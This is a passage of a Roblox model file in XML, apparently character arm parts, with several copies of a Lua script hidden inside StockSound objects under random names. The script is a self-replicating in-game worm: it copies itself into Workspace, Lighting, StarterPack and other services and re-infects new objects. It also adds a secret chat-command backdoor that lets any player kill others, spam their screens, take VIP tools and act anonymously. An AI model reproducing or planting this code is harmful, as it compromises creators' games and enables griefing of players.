plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX523">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-41.9976616</X>
								<Y>3.31259155</Y>
								<Z>114.016785</Z>
								<R00>0.802155197</R00>
								<R01>9.38829107e-005</R01>
								<R02>0.597115636</R02>
								<R10>-0.000869754294</R10>
								<R11>0.999999106</R11>
								<R12>0.00101118628</R12>
								<R20>-0.59711498</R20>
								<R21>-0.00133047218</R21>
								<R22>0.802154541</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX524">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">ur1g0</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX525">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">axygcjy4u</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX526">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-39.591198</X>
								<Y>3.3099823</Y>
								<Z>112.225433</Z>
								<R00>0.802155197</R00>
								<R01>9.38829107e-005</R01>
								<R02>0.597115636</R02>
								<R10>-0.000869754294</R10>
								<R11>0.999999106</R11>
								<R12>0.00101118628</R12>
								<R20>-0.59711498</R20>
								<R21>-0.00133047218</R21>
								<R22>0.802154541</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX527">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2iwih8</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX528">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">a1fba</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
